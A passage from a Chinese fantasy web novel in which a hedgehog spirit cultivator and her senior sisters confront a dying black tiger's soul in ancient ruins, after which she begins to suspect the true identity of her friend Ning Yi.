再往前一点就是那个大家伙住的地方了。” 小刺猬提高警备,魂体的存在即说明存有本体, 只需将本体破坏,魂体的威力自会大大降低, 届时宁依她们的压力会减少许多。 有原师姐和风师姐在,定然很快能处理掉魂体。 小刺猬脑海中浮现出宁依对人形的她自称师姐的片段。 她很快打消念头,还要更重要的事情要做。 正想着,一白二白四肢停下,踮起下肢, 扬起头, 仔细嗅闻空气中的气味。 一白不知从哪里摸出垫板, 和二白一同踩在上面, 两只白毛刺猬合力用头顶开上方的石板。 片刻后, 一白二白借助垫板爬至上方, 她们对仍旧在地道内的小刺猬伸出爪子,小刺猬踩上垫板, 两只爪子分别抓上一白二白的胳膊, 弹跳起步,窜到石板上方。 柔和的光芒自头顶洒落, 无数只以小动物形象塑造的泥塑摆放在青石地板上,不同于遗迹其它处的昏暗或有难闻的气息,这里恍若独立于遗迹之外。 小刺猬惊异地环顾四周,轻手轻脚地穿过两侧的泥塑,她不时侧身,以免触碰引发机关。 然,两只白毛刺猬没有她的局促,一白二白跳到泥塑头顶,像走在平常道路上般,来回跳动。 小刺猬被她们的举动吓到,刚要出声制止,却发现并无出现不妥,而且看一白二白的熟练程度,不像是第一次来此。贤住复 她问:“这里就是那只黑虎住的地方吗?” 一白从泥塑上跳下,蹦到小刺猬身前,小爪子遥遥一指,落在百米外的巨型宝座上:“大家伙就睡在那后面。” 来不及多问,小刺猬爪子抹油,给自己和一白二白身上分别贴上符纸,随即快速往宝座之后蹿去。 一路来到宝座之后,畅通无阻到小刺猬觉得不可思议。她蹑手蹑脚地放慢速度,缩成一团在石板上滚动。 猝然,一白的声音响起:“就在这。” 小刺猬拎着佩剑,脑袋从身体中出来的瞬间,登时被眼前的庞然大物惊到愣在原地。 数十米的黑色巨虎一动不动地趴在一块冰床上,身上缠绕着一层难以用肉眼可见的灵气。 即使置身在此,小刺猬也不觉得寒冷,冰床释放的寒气被无形之力抹去,唯独巨虎周身存着冰霜。 “这……”小刺猬微微启唇,“就是它的本体?” 二白用力点点头:“对的。” “吼”。 怒吼声响彻天地,声浪滚滚,小刺猬不受控制地捂住耳朵。 黑虎残魂已然发现有生物进入它本体所在处,朝着小刺猬所在之处嘶吼,獠牙大张,本能的恐惧让小刺猬心跳加速。 她咬紧牙关,提起灵剑。 “该死的人族。”黑虎残魂愤怒地吼叫。 她的残魂被眼前的三名人族修士拖住,分身乏术,无法赶回,只能以音浪攻击。 小刺猬双耳震得几乎丧失听觉,嗡鸣声不止,她摇摇晃晃地往黑虎命脉的方向爬去。 一白二白不知她何意,扶着小刺猬往前。 可当看见小刺猬提剑欲要斩黑虎心脉时,一白二白后肢蹬地,一个弹射至小刺猬挥剑而下的前方。 一白气喘吁吁,不解疑问:“老大为什么要杀同族。” “为什么要帮人族杀同族。”二白护住黑虎。 帮人族杀同族。 小刺猬的心被重重一击,爪子失力,灵剑落地。 【人族伪善至极。】 【自大的人族从未看得起它族之人。】 【……】 如潮水般,无尽的话语涌入大脑,小刺猬胸膛剧烈起伏,跌坐在地,大口喘息。险珠付 见她放下剑,一白二白松口气,她们趴伏在小刺猬身边:“老大,大家伙很好说话的,我和一白每次挖地道时,它还会悄悄帮忙。” “还会让我们拿它房间里的吃的。”像是要验证黑虎要多好般,二白摸出一枚丹药,“这是我和一白从发现老大的甬道内的房间拿的。” 二白眼睛亮晶晶的:“大家伙从来没有说过我们。虽然它很凶,会把东西拍成肉饼,但那些都是坏的人族。他们偷黑虎的宝物还不满足,还想偷黑虎的灵丹。” “这次来了更多的人,还很吵闹,大家伙一定是生气了。”二白絮絮不停。 她话实在太多了,一白捂住她的嘴,总结道:“老大是想带那三个人走,只要和大家伙好好说,它会同意的。” 小刺猬咽住喉咙,双爪发颤,她支起灵剑起身,嗓音嘶哑:“怎么和它说。” 一白二白对视一眼,两只白毛刺猬齐刷刷地往回跑,扛起两只泥塑的小动物后又跑了回来。 她们踩上冰床,将泥塑放到黑虎的两边。 刺骨的寒气钻入她们身体,二白惊叫着跳下冰床,双爪来回不停地搓。 一白去宝座那取回一张粗糙的纸,递给小刺猬道:“老大点燃后,扔到泥塑上就可以此方法与大家伙沟通。” 二白双爪置于肚上,用力点点头:“是的,这是大家伙教我们的。” 小刺猬眼睫闪动,她接过一白递来的纸,不知为何黑虎会教她们这么多。但为今之计,只能尝试这种方法了。 不远处,黑虎残魂的巨掌久久无法落下,长时间的对峙之下,它的魂力明显减弱。 裴依宁抽出长剑,担忧地望了眼身后的房门,小刺猬情况不知怎样,不能再耽误下去了:“原师姐,浅念。” 原以诗面色冷白,两手之间,一方结印被拉大,汹涌澎拜的灵力源源不断地涌入。 她亦是没了耐心再这么耗下去。 区区蓝灵,她们三人合力还能狼狈至此。 风浅念以指勾画,蛇走龙游的笔触下去,一条闪着寒气的长鞭凌空而起。 数座阵法自她们脚下而起,定格在一张张符纸之上。 “依宁,可以了。”风浅念温声道,“切莫被它伤到灵魂。” 裴依宁盘腿而坐于其中一座阵法之内,手印翻飞,灵力带出一闪而过的光点,自她头顶,一抹与她一模一样的魂体飘出。 威压释放,裴依宁一掌轰出,十成十的威力轰击在黑虎残魂之上。 顷刻间使其倒飞数百米,身形穿过一根根石柱。 “果然只能以此方法。”风浅念默道。 “用不了几招,就能结束了。”原以诗收手,下一瞬,一片夹在指尖的叶片飞去,直插墙壁,数条藤蔓拉伸,挡住出入口。 再一抬头,黑虎残魂正以爪上利刃与裴依宁交战。 在双方灵魂体之下,黑虎残魂逐渐落入下风,本就不稳的魂体皲裂出一条条裂纹。 “卑劣的人族。”黑虎残魂嘶吼控诉。 裴依宁半眯起眼睛,一掌拍在剑身,火属性之力蓬勃,不断灼烧黑虎残魂。 是打算将其直接炼化。 猝然间,黑虎残魂消失,化为一缕烟雾,钻向别处。 “逃得掉吗?”裴依宁轻缓擦剑,两指在顺着剑身滑动,强横的火属性自四周升起。 恰在此刻,裴依宁感知到小刺猬的气息,她眼神一凛,收剑,火焰熄灭,灵魂归体。 “怎么了?”时刻关注战局的风浅念问。 裴依宁摇摇头,反身解除门上禁制,推开,里面空无一物。 小刺猬已然不见。 只有门内的方形洞口露在外面。 不止残存着小刺猬的气息,还有那两只白毛刺猬的气息,她们带走了小刺猬。 裴依宁额前青筋起伏,她默念几句,两指点在地面,一条银色线条蔓延向小刺猬所在之处。 顾不得随时坍塌的遗迹,裴依宁顺着银线指引的尽头而去。 黑虎残魂得以喘息,窝缩在本体一侧,无数的缝隙越裂越深,它扬起头颅,扫过爬在它爪臂上的一白二白,对着小刺猬道:“你也是刺猬一族的?唤我魂体,有何事要说。” 即使黑虎残魂缩小身躯,可在小刺猬眼中,依旧庞大无比。 她不曾看见对方与裴依宁打斗的画面。 她小心翼翼地说:“黑虎前辈,很冒犯打扰到您的休息。” 黑虎冷哼一声。 小刺猬继续道:“我们今后不会再来此,您能放我和我的同伴离开吗?” 黑虎不语。 二白叽叽咕咕道:“大家伙,就是刚刚和你打架的三人。” 黑虎残魂:“那三个人族之人?” 小刺猬连忙道:“是的,她们是我的师姐,您……” “你竟敢拜入了人族宗门?”黑虎残魂冷冷打断她,一爪拍下,将小刺猬压在爪下。 小刺猬动弹不得,五脏六腑被挤压,隐约可闻骨裂之音。 一白二白瞳孔猛缩,扒拉黑虎残魂的爪子:“大家伙,放了我们老大,放了我们老大。” “人族向来虚伪,故意挑起事端,与人族待久了,你迟早也会变得与那群道貌岸然的人族无异。”沉默良久,黑虎残魂移开爪子。 黑虎残魂俨然支撑不了多久,它头颅趴在爪边:“带着一白二白离开此处。” 此言便是松口,小刺猬忍着身上的疼痛,双爪拱手一拜:“多谢前辈。” 黑虎残魂不屑:“少用人族那套虚礼。” 它残魂若隐若现。 空间中多了几分寒气,是抵挡冰床寒气的屏障出现破碎。 “一白二白,今后,不准再来此。”黑虎残魂支撑着身体,一点点爬起,它察觉到那三位人族修士的到来。 一白二白满是茫然:“为什么不准来,我们会悄悄的。” 小刺猬一股脑地从空间储物中倒出丹药,囫囵吃了几枚。 体内的灵力足以支撑她化形,她径直化作人形,快步跑到黑虎残魂边,捡出那瓶破境丹:“这是从您的地盘上找到的,品阶很高,对您的恢复或许有帮助。” 黑虎残魂只是看了眼:“这不是我的。”它上下打量云榆,“你能化成人了?” 它没好气地拍了下一白二白:“这么多年,我这里东西那么多,你俩至今不能化形,真是丢我妖族人的脸。” 一白二白被训得低下头。 黑虎残魂虚弱得更加厉害,它本就长存不了多久,因此一战,更是要坚持不住了。 它怜惜地看过一白二白,下一秒,眼神坚定地望向自阴影后出现的三人。 “吼”。 这是它汇聚气力的一吼。 一白二白捂住耳边,云榆单膝跪地,倒出丹药要往黑虎残魂口中塞,却被它甩开。 裴依宁神色微变,灵光乍现,一方药鼎盘旋在黑虎残魂上方:“云榆,过来。” 黑虎残魂显然情况不稳,随时有暴动的风险,云榆离她太近,太容易被伤及。 药鼎不断下压。 云榆双臂张开,挡在黑虎残魂面前:“师姐,不要,不要伤它。” 黑虎残魂眼中闪过奇异的光芒。 “过来。”裴依宁又道,“它会伤到你。” “若非你人族擅闯我的地盘,怎会伤及你们。”黑虎残魂叼起云榆扔到后方,“一群利益熏心,不择手段之人,死不足惜。” 裴依宁背在身后的手翻转,空间波动。 云榆只觉身体被拉扯,下一秒,她出现在裴依宁旁边。 风浅念接住凭空而降的两只白毛刺猬,眉目含笑的放到地上:“小心点,别伤到了。” 药鼎下降,一道道符咒自原以诗面前出现,围绕着黑虎残魂飞速转动。 就连冰床上的黑虎本体都未能幸免。 光晕浮现,云榆只觉脊背发冷。 原以诗轻咬舌尖,篆刻最后的符咒:“师妹,压鼎。” 裴依宁结印,药鼎以极快的速度下降,就在快要将黑虎残魂收拢进去时,她的手腕被人攥住。 药鼎止息。 云榆紧紧攥住她的手腕,指尖按在她的腕骨处,喉咙滚动,她低声祈求:“师姐,你能放过它吗?” 原以诗淡然地看向云榆和裴依宁的风向,篆刻的符咒一枚枚破裂。 她收手。 风浅念轻轻拉住她,无言地对她使了个眼色。 “云榆,”裴依宁蹙眉,“它会伤你的。” 云榆坚定地:“它不会的。” 它都说让她带一白二白离开了,又怎么会伤及她们。 云榆哽塞住,舔了舔干涩的唇瓣,水汪汪的眼中尽是晶莹剔透之色,蒙上的水雾迷糊了她的视线,她紧紧压着裴依宁抬起的手腕,指腹前端被压出一层月牙形白边。 裴依宁的肌肤上印出几枚深浅不一的红。 身体的酸涩让她快要说不出话来:“它不会的,它已经要放我们走了。而且,”她顿了顿,“本来就是我们打扰到它,它不过是在捍卫自己的领地而已。” 她咬住下唇,语气中注满难言的隐忍:“还是说,妖族没有资格拥有这些……” “云榆。”裴依宁按住她的肩膀,眉宇间染上看不明的神色,“胡说什么,不论是妖族,人族还是魔族,地位等同,没有高低之说。” 只是当时黑虎残魂突然攻击,她们所思不深,只想早点解决黑虎,以免伤及自身。 云榆的话如一盆冷水将她从头浇到尾,裴依宁大脑清醒许多,她收起药鼎,轻柔地抚上云榆的眼眶,柔声安抚:“是我们忽略了这些,我们现在出去。” 云榆微微扬起头,泪花在柔和的光芒下,闪出明灭的光点。 风浅念蹲下身,摊开掌心:“你们要跟我们一起走吗?” 两只白毛刺猬听不懂她的话,纷纷看向云榆。 云榆小幅度点点头。 两只白毛刺猬跳上风浅念的掌心。 云榆迟迟不动,裴依宁耐心地挑开黏在她脸颊上的碎发:“走吗?” 云榆吸吸鼻子:“它是不是……” 她能看出黑虎残魂将不存世。 裴依宁没有回答她,只是一下下地揉着她的手心。 无声的认同,无声的安抚。 原以诗取出一张符纸,快速在上面勾勾画画,数秒后,金色的符文飘出,注入黑虎残魂体内。 她声线似乎永远没有起伏:“我已经为它延续些许时日,最后的,要看它自己的命数造化了。” 说罢,她迈步向前,垂下的手隐隐发颤。 风浅念注意到这一幕,跟上去,握住那只颤抖的手臂,传音给她:【你还好吗?】 原以诗反握住她,转眼瞧见蹲在风浅念另一条手臂上的两只白毛刺猬:【……没事,灵力消耗过大,缓缓就好。】 她的眼神过于冷淡,一白二白吓得嘀嘀咕咕说了几句,从风浅念手臂上跳下。 “慢着。”即将要走之时,黑虎残魂叫住她们。 尚未反应,三道灵力自黑魂残魂中释放而出,灌入云榆,一白二白体内。 云榆大脑空空,却也知晓黑虎这是在做什么,它这是在将自身传承交于她和一白二白。 如此一来,黑虎势必没了生的希望。 “前辈。”云榆大喊一声。 但她的声音皆是被阻隔,无人能听见。 裴依宁不受控制地上前半步,天空乍响一声巨雷。 是引出的雷劫。 原本只需要一个契机便能突破的云榆接受了黑虎的传承,即将突破至黄灵。 一白二白自光幕中隐约可见人形。 黑虎在助她们化形,在助云榆突破。 裴依宁面色复杂,紧握成拳。 风浅念亦是感叹:“妖族人之间的传承接连,或许是人族难以参透的。” 雷电翻涌,却怎么也无法劈下,原以诗掀起眼帘,却见一道道银色的光芒承接住爆裂的雷劫。 裴依宁为云榆挡下了雷劫。 “云师妹现在的状态,的确无法承接因黑虎传承突破而产生的雷劫。”风浅念轻叹声。 不知过了多久,雷劫散去,云榆和一白二白跌落在地,黑虎残魂钻入本体中。 裴依宁扶起云榆的同时,分出心神为黑虎本体附上一层保护灵力:“多谢前辈相助。” 黑虎陷入沉睡中,冰床下沉,没入无尽的地下。 “师姐,”云榆气若游丝,“它……” 裴依宁喂了她一枚丹药:“它沉睡了,身体机能全部关闭,未来若得机缘,会救活它的。” 云榆扯了扯唇,灵海内悬停的灵珠吸收天地灵气。 几人在遗迹彻底坍塌前出来了,但两只白毛刺猬尚处在昏迷阶段,云榆打算等她们醒了,问问她们今后的打算。 不想麻烦师姐们一起等待,她婉言想让三人先行离开,自己晚点回宗。 裴依宁等人自是回绝。 云榆不好拒绝师姐的好意,四人在遗迹十里外支起两顶帐篷,静等一白二白苏醒。 支帐篷时,云榆一瞬不瞬地盯着裴依宁的背影,那方药鼎的威压和超绝的修为,即使她已经到了黄灵,依旧无法看穿。 许是她的视线过于热切,裴依宁扭头。 云榆收起探究的目光,小步走过去,帮着一起。 谁也没能察觉到,一道红色的身影自她们不远处出现,那人的视线在云榆身上锁定许久。 进入帐篷前,云榆无意从那人站的方向扫过一眼。 红衣如火,姿容绝艳。 等她想要看清时,那抹红色消失在原地。 “在看什么?”裴依宁顺着她的视线看去,别无所觉。 云榆道:“那里刚刚好像有人在。” “嗯?没有人在呀。” “可能是我看错了。” “太累了吗?休息会,等两只小刺猬醒了,我再叫你。” 半柱香后,消失的身影出现在一座白玉宫内,她红衣飘摇,径直入了某间宫殿。 内里,一女子正在专心作画,展开的画卷上画的是一副山水图,俨然一派岁月静好之感。 她悄无声息地站在女子,直至画作结束,她抚上女子的肩膀:“这景色我未曾在此见过,这是哪里?” 作画女子对她的话置若罔闻,收起画笔,转身欲走,却被红衣红子控制住。 她将其转过身,与自己面对面:“今日,我遇见你妹妹了。” 下一秒,一根发簪抵在她的脖颈间,面前女子冷眼与她对视:“别出现在妹妹面前。” “你情绪突然好大,”红衣女子举起双手,“你什么时候也能这样对我?” 发簪往她脖颈上抵了抵,女子警告:“别忘了你答应我的。” 红衣女子不置可否,脖颈向前,发簪刺进肌肤的声音清晰可闻,她宛若未觉,吻住作画女子的唇角:“我知道。” “答应你的,我自会做到,”她按住作画女子的手腕,向外一拔,血液溢出,她不在意地抹去发簪上的血迹,仔细给面前的人簪入发中:“别生我气。” 作者有话说: 虽迟但到 第54章 第五十四章[VIP] 一白二白是在第二日醒来的, 彼时她们幻化人形尚不熟练,依旧以白毛刺猬的形象在帐篷内乱窜。 面对云榆的询问,一白二白叽叽咕咕地商量了几句后表示仍要留在此地。 “我和二白自幼生长在这,去往它处, 人生地不熟。”一白举起两只小爪子, 勾住云榆垂下的衣袖,纵身一跃, 落至云榆的肩膀, “而且,我感觉到大家伙还在, 我和二白打算晚些时候去地道看看,里面说不定还能居住。” 二白学着一白的样子, 爬上云榆的另一边肩头,大大咧咧道:“对的,对的,”她摸摸先前被黑虎拍打的头顶,委屈地说, “等黑虎醒来, 让它知道, 我二白也是能像老大一样化成人形的。” 从前都是她变成小刺猬跳到宁依的肩膀, 被人托举着走动, 如今还是第一次被同类这么对待。 说不清是什么心情, 云榆抚上两只小刺猬的额头:“既然你们已经做好了决定,我这个老大总不能甩袖就走。” 她从空间储物中取出那瓶破镜丹, 递给一白, 又将储物中所有的吃食取出,摆放到面前的矮桌上:“这丹药你们留着, 这些吃食,能让你们一段时间无忧。如今你们已经能化成人形,即使化形不稳,未来也会好很多。” “对了,还有这本功法,是当年我初入修途时姐姐给我的,现在我已经用不上了,你二人好好修炼……”云榆絮絮叨叨地交代着一切。 等她说完,恍然发觉不久后就要分别,云榆抿住唇,想再说点什么,可别无所言。 一白二白被她情绪感染,一同沉默住。 “老大,我们以后还会相见吗?”二白打破帐篷内的寂静。 云榆略有酸涩,短短时间的相处,已让她生出不舍的情绪,她摸着二白的小肚子:“会的,我会随时过来检查你们的修炼进度,要是被我发现你不好好修炼,下次来见你们,带的吃的就没你的份了。” 一白的态度她放心,反观二白,总给她散漫不认真的错觉。 二白果然连忙保证好好修炼。 云榆搬了张椅子坐下,掰断一根肉条,分给蹲在自己肩头的两只白毛刺猬。 看着她们鼓起的脸颊,吃得津津有味的样子,云榆没忍住弯下唇。 宁依每次投喂小刺猬般的她时,是否也是如自己这般,觉得有趣而可爱呢。 思绪飘飞,她想起宁依面对越天干时的强势,操控药鼎时的威压,从遗迹出来时的游刃有余…… 以及在宗门,刺猬形的她与宁依在一起时,时隐时现的说话声,灵丹堂弟子不经意流露出的崇敬…… 这些都是新弟子可以做到的吗? 师姐,裴师姐…… 她唇角的笑意一点点收敛,归结为一条平直的线。 她闭上眼,强行将钻入的念头猜想一一打断。 “老大,”一白抱着肉干,“那位与你住一起的人,是不是很厉害?” 云榆掀起眼皮:“嗯?” 一白挠挠后脑,探头见二白还在啃食,抱着肉干戳上二白,但因肉干太短,无法碰到,一白放弃了继续喊二白的念头:“大家伙面对她时,很……就是很认真。” 云榆明白一白的意思,当时危急关头,她挡在黑虎身前时,第一反应想的是阻止宁依。 不知为何,她觉得宁依真的有实力伤及黑虎。 即使黑虎是一尊蓝灵强者。 云榆轻声“嗯”道,“她可能真的很厉害吧。” 从帐篷内出来已经是一个时辰后了。 一白二白没有和裴依宁等人照面的念头,从帐篷的另一边偷偷钻了出去。 云榆掀开帘布,映入眼帘的是裴依宁颀长挺直的背影。 女子负手而立,墨色长发规矩的束在身后,暖色初阳犹在她的身上降下圣洁的晨芒。 似是从画卷中走出的人,仙气飘飘。 云榆止住呼吸,唯恐惊到女子。 可女子还是察觉到她的存在。 裴依宁侧转过身,半边脸颊隐没在温暖的阳中,看得不真切。 云榆从恍惚中回过神,先行移开视线,漫无目的地落在别处:“师姐。” 面前投射下一小片阴影,是裴依宁走到了她的面前:“她们走了吗?” “嗯。”云榆很小声的回答,她不着痕迹地后退半步,脱离裴依宁带给她的阴影,“原师姐和风师姐呢?我们什么时候回宗?” 她的躲避太过明显,裴依宁静默两秒才是道:“我已传音给她们,她们稍后就来。” 一时间,空气陷入诡谲的安静和尴尬中,这份尴尬从何而来,云榆说不清,也不想去深思。 她虚虚地靠着搭建帐篷的软柱,眺望远方缓缓而升的朝阳。 裴依宁望着她。 不多时,原以诗和风浅念一同而出。 谁都没提遗迹内发生的事,亦没有提及那两只白毛刺猬的归宿。 回去的路上,依旧是原以诗和风浅念立于前方,云榆和裴依宁坐在后方。 没了来时的嬉戏打闹,云榆托着两腮,自空中欣赏下方景色。 这两人太过安静,风浅念轻挑眉梢往后看了几眼,传音给裴依宁:【和云师妹发生矛盾了吗?】 裴依宁:【没有。】 风浅念了然。约莫是云师妹对裴依宁的身份产生怀疑,却又迟疑着无法推翻宁依带给她的影响。 她人感情之事,作为旁观者,她无法给出明确的帮助。 风有些凉了,风浅念揉动额角,坐在原以诗身前的凳子上,脊背松散。 原以诗身体绷起,膝盖微微前伸。 “云师妹,”裴依宁主动开口,“今日心情不好吗?” 云榆僵硬地扭过头,牵强地扯出一点笑意。手臂和一侧脸颊因长时间未动发麻发酸,显得她的笑更为不自然:“没有的,师姐,我只是有些累。” “师妹可以靠在我肩上睡一会。”裴依宁道。 云榆怔愣两秒,轻快同意:“好啊。” 比裴依宁预想中的还要快,肩头被歪头抵靠,云榆半边身体贴合在她那一边的手臂。 毛绒绒的发随风飘舞,扫过她的肌肤,痒意滋长。 身侧的呼吸逐渐平缓,裴依宁抬手挑开脖颈上的发丝,细长的手指悬停在云榆的发顶,许久后,无力地垂下。 好像比她想象中的,还要严重,裴依宁第一次产生退缩的心思。 * 回到宗门已是正午十分,随着缓缓下坠,落于山门前。 云榆从半梦半醒中清醒,她用力眨过眼睛,潜意识地撑住身旁人,借力起身。 直起身,眼角的余光瞥见晚她一步起身的人,云榆手一僵,随后像是被猫抓过般,手猝然背到腰后:“师姐。” 风浅念于此时从前而来,只当没瞧出两人间不正常的氛围,她先是对裴依宁道:“替我转告纳兰师妹,新的药鼎正在炼制中,过几日便可让新弟子过来取。” 而后,对着云榆道:“云师妹,宗门已至,我和原师姐还需回器物堂处理事物,就不同行了。” 云榆拱手躬身一礼。 只剩下云榆和裴依宁两人。 迟疑片刻,云榆又是一拱手:“多谢师姐此番照顾。” 裴依宁道:“同门之间,无需这般客气。” 剑法阁与灵丹堂在一个方向,两人几番并行,又因其中一人时而调节的步伐,变得一前一后。 立于剑法阁前端,云榆呼出一口气,像是完成一件艰难的任务,她扬起今日最为真心实意的笑容:“我需回去向杜师姐探讨本次所得,恐不能送师姐回灵丹堂,师姐莫怪。” 裴依宁定定地看了她一会:“无事。” 目送云榆登上剑法阁的峰崖,裴依宁取出小刺猬给她的那根刺,合于胸口,紧紧相握。 那根刺一点点变热。 登上峰崖尚且没来得及喘息的人忽感后背某处发热。她心思一沉,是当初给宁依的那根刺。 是宁依想她了。 云榆立于悬崖边,居高临下,高耸的山峰已看不见下方的人,她心念微动,化身成小刺猬,回应宁依的想念。 片刻后,小刺猬钻入无边的草地中,一路蹿回到剑法阁修炼的地方。 她需要找杜师姐询问关于此次外出,灵丹堂为何缺席一人的事。 原师姐一看便知是不好接触的,她不太敢问对方相关的事,风师姐虽性情温柔,态度温软,但毕竟与之不熟,冒然询问,若是她猜测有错,对宁依影响不好。 一炷香后,化成人形的云榆在练剑之地找到了正在带领新弟子演练新剑招的杜寻雁。 等到对方空闲下来,云榆几个健步跑过去,不等杜寻雁反应,她丢下一句,“杜师姐跟我来”的话后,扯住杜寻雁的袖子往一处无人烟的地方跑去。 杜寻雁刚辨认出蹿出来的人是谁,还没来得及多说,就被动地跟着跑了起来,跑了两步,眼角地瞥到云榆拽着的衣袖,瞪大眼睛,一连串的话语甩出:“不是,云师妹,你不是出去历练了吗?怎么这么快就回来了,裴……灵丹堂的人呢?” 云榆猛地挺住脚步,压着舌根忍住汹涌的呼吸:“裴?杜师姐想说的是裴师姐吗?” 杜寻雁咽了下口水,深知说漏嘴被听见。莫不是这么早回来,是因为裴师姐的身份被发现。 她越想越觉得可能,一同历练,据说去的又是某处遗迹,人多杂乱,危险重重,裴师姐定然不可能不出手。 但她这边没收到消息,杜寻雁是能强装镇定:“裴师姐怎么了?” 云榆道:“您刚刚提到裴师姐了。” 杜寻雁:“我是口误,”她尝试转移话题,“怎么如此早回来了,可是发生了意外。” 她感应到云榆体内灵力波动起伏,脸色瞬间严肃起来:“你突破至黄灵了?” 云榆舌尖抵在上颚:“遗迹坍塌,侥幸突破。” 知晓不回答杜寻雁的问题,对方还会扯东扯西,她索性将遗迹内发生的事情说了遍。 杜寻雁讶然:“原师姐和风师姐也一并去了?” 云榆快速点头:“杜师姐,您现在可以回答我的问题了吗?本次灵丹堂去的那人,是裴师姐还是新入宗的弟子。” 杜寻雁给不出答案,她避开这个话题:“我不知你所说的人长什么样,我也没听灵丹堂那边提到过这件事。” “我回答不了你。”杜寻雁若是说。 早就料到不会从杜寻雁这得到明确的答案,可从杜师姐推三阻四的态度中,她隐约有所猜测。 回到洞府内,云榆枯坐在椅子上,杯中走时没喝完的白水上漂浮着蒙蒙的颗粒。 她一动不动地盯着杯中缓慢浮动的颗粒,指骨死死抠住桌角。 手臂横放在桌沿,额头搭在上面。 和宁依初次相见,次次相逢的场景一一在脑海中掠过,其中未曾发觉不对的地方,在此刻变得漏洞百出。 她的私心让她无条件的选择相信宁依,相信那个初见时,就给她做了好吃的食物,心甘情愿做她小跟班的宁依。 她变回小刺猬,催动身上的刺。 与其独自乱想,不若直接去问宁依。 等到得到刺那边的人回应后,小刺猬立刻动身前往灵丹堂,奔向宁依所居住的洞府。 她们刚回来,又是这个时间点,宁依应该在洞府内。 小刺猬脑袋一热,等到地方才开始担心宁依不在怎么办。 好在爬到半开的窗,看见了里面正在收拾药材的人。 小刺猬礼貌地敲了几下窗户,传音:【小刺猬驾到,宁依迎接。】 一早察觉到小刺猬的气息,但她和小刺猬每次以刺相约都是在晚上,今日对方这么急,使得裴依宁没有冒然出声。 直到小刺猬的传音到来,欢快的与什么都不曾发生过般。 裴依宁佯装刚发现她:“星星。” 小刺猬昂首挺胸,重复:“小刺猬驾到,宁依迎接。” 裴依宁:“……弟子宁依,恭迎星星。” “这还差不多,”某只小刺猬洋洋得意,刚钻进去,洞府房门被敲响。 她一惊,弹跳间躲了起来。 等她藏好,裴依宁开门。 来人赫然是纳兰然。 裴依宁出了门,反手将门关上,低声问:“纳兰师妹?” 纳兰然道:“裴师姐,堂主听说师姐回来了,让师姐现在去她那一趟。” 裴依宁蹙眉:“堂主出关了?” 纳兰然道:“是,昨日出的关。” “好,我拿样东西就去。” 裴依宁反身进入洞府,寻到小刺猬的藏身之所,柔声呼唤缩成一团的小刺猬:“星星。” 小刺猬伸出小脑袋:“走了吗?” 裴依宁抿唇摇头:“灵丹堂那边有事找我,我现在要过去一躺。我们跟平常一样的时间在膳食堂相约,可以吗?” 小刺猬还没问到想问的事,可眼下别无它法,不能耽误宁依的事,晚上问也是一样的:“嗯嗯,好,晚上见。” 裴依宁指尖挑起小刺猬的一只爪子,轻点数次:“晚上见,星星。” 无功而返,小刺猬行至剑法阁的峰崖边,不太想回洞府。 索性用着本体在剑法阁闲逛。 她来到后山阁中,那棵灵桃树依旧茂盛。 不知是不是错觉,小刺猬觉得灵桃树上的灵果比上次来少了许多。 她变回人形。 嗯,的确少了很多。 瞥见不远处的溪流,当时遗迹崩塌扬起的粉尘落满全身,虽使用了净身术,可看见溪流,出于本能,她还是觉得用水洗才是真正的干净。 于是乎,她切换回小刺猬的形态,左看看,右看看,四下无人,小刺猬落水。 剑法阁的溪流里面蕴含着少量的灵气,虽不足灵丹堂的多,但浸泡下去,也觉神清气爽。 “据说宗门内的遇情堂有温泉,什么时候能进去一趟就好了。”小刺猬仰靠在河岸边,只露个头出来。 遇情堂的温泉只供给堂内弟子,其她峰阁的弟子若是想要进去,需要支付一笔灵石才可。 对于囊中羞涩的小刺猬来说,简直是抢钱。 什么温泉还要花钱才能进,还是她剑法阁的溪流好,想泡到什么时候,就泡到什么时候。 当然,灵丹堂那边的也不错。现著夫 小刺猬慢慢地将头浸泡进去,清洗。 数分钟后,水面漾起一圈圈涟漪,一团棕色的球体破水而出。 小刺猬四肢着地,用力甩干身上的水分。 “真是一只干净的小刺猬。”小刺猬喟叹声。 抬头一看,天还是亮的。 什么时候才能见到宁依啊。 小刺猬长叹,缩成团,滚到矮墙边,利用树叶做遮掩,睡觉打发时间。 心里存着事,这一觉小刺猬睡得迷迷糊糊,时不时惊醒。 等最后一次醒来,天蒙蒙黑了,小刺猬看见有两人蹑手蹑脚地穿过矮墙,不一会到达灵桃树下。 “哎,趁没人,赶紧采摘。” “别采多了,别发生就不好了。” “怕什么,打不了被阁主训两声呗,快,接着。” 小刺猬想到上次偷摘灵桃被杜师姐发现捉住,又被宁依诬陷的事,没忍住在心底吐槽一句:“坏宁依。” 而后,又在心底默默道:“杜师姐,快看啊,这里有两个偷摘灵桃的弟子,快来捉她们。” 默念完,小刺猬欲要走,矮墙边忽而亮起烛火,杜寻雁带着一队弟子,等那两人采摘完毕,道:“阁主之令,不得擅自采摘此树上的灵桃。” 小刺猬心虚,不关她的事。 她溜之大吉。 算算时间,距离每次和宁依相约的时间还有一个时辰,可她属实等不下去了。 今晚迫切地想见到宁依。 天还没完全暗下,为避免被灵丹堂的人发现,小刺猬给自己贴了张隐匿气息的符纸,随即如入无人之地般,直奔膳食堂而去。 此刻膳食堂内灯光通明,数名弟子汇聚于其中,跟在为首的女子身后。 裴依宁眉宇间神色淡然,捡拾着摆放着的药材,不时挑拣出一根嗅闻。 与她隔着一人身位的纳兰然道:“裴师姐,您休息会吧,这里的药材我们来检查就好。” 裴依宁顺着大开的门看了眼外面的天色,距离小刺猬来还有些时候,她微微颔首,揉着太阳穴坐在椅子上。 昨日堂主出关,今早在各殿中查看时发现一株损坏的药材未能及时处理,反而被新弟子拿来炼丹,顿时大发雷霆。 裴依宁虽未被波及,但身为灵丹堂的大师姐,她自要承担一部分看管之责。 今日见过堂主后,她便选了数名资历颇深的师妹一同检查堂内剩余的药材,不管品阶,一一过目。 一直到现在,只剩下膳食堂内的药材没有检查。 膳食堂内的绝大部分药材皆是低品阶的,排查起来极快。 “师姐,膳食堂内的药材并无疏漏,想来只有今早堂主看到的那株有问题。”纳兰然道。 裴依宁:“今日辛苦你们了,以后入灵丹堂内的药株需更仔细的检查,万不可再出现今日这般的错漏。新弟子那边更是如此,两日后,举行一场炼丹测试,纳兰师妹,这件事由你负责。” 纳兰然拱手:“是,裴师姐。” 小刺猬赶到时,从外就见到膳食堂内浮动的人影,一抹熟悉的身影正坐在椅子上,被一群丹修团团围住。 小刺猬擦擦眼睛,凑近定睛一看,被围坐的人竟然是宁依。 她心下一惊,小跟班偷吃被抓住了。 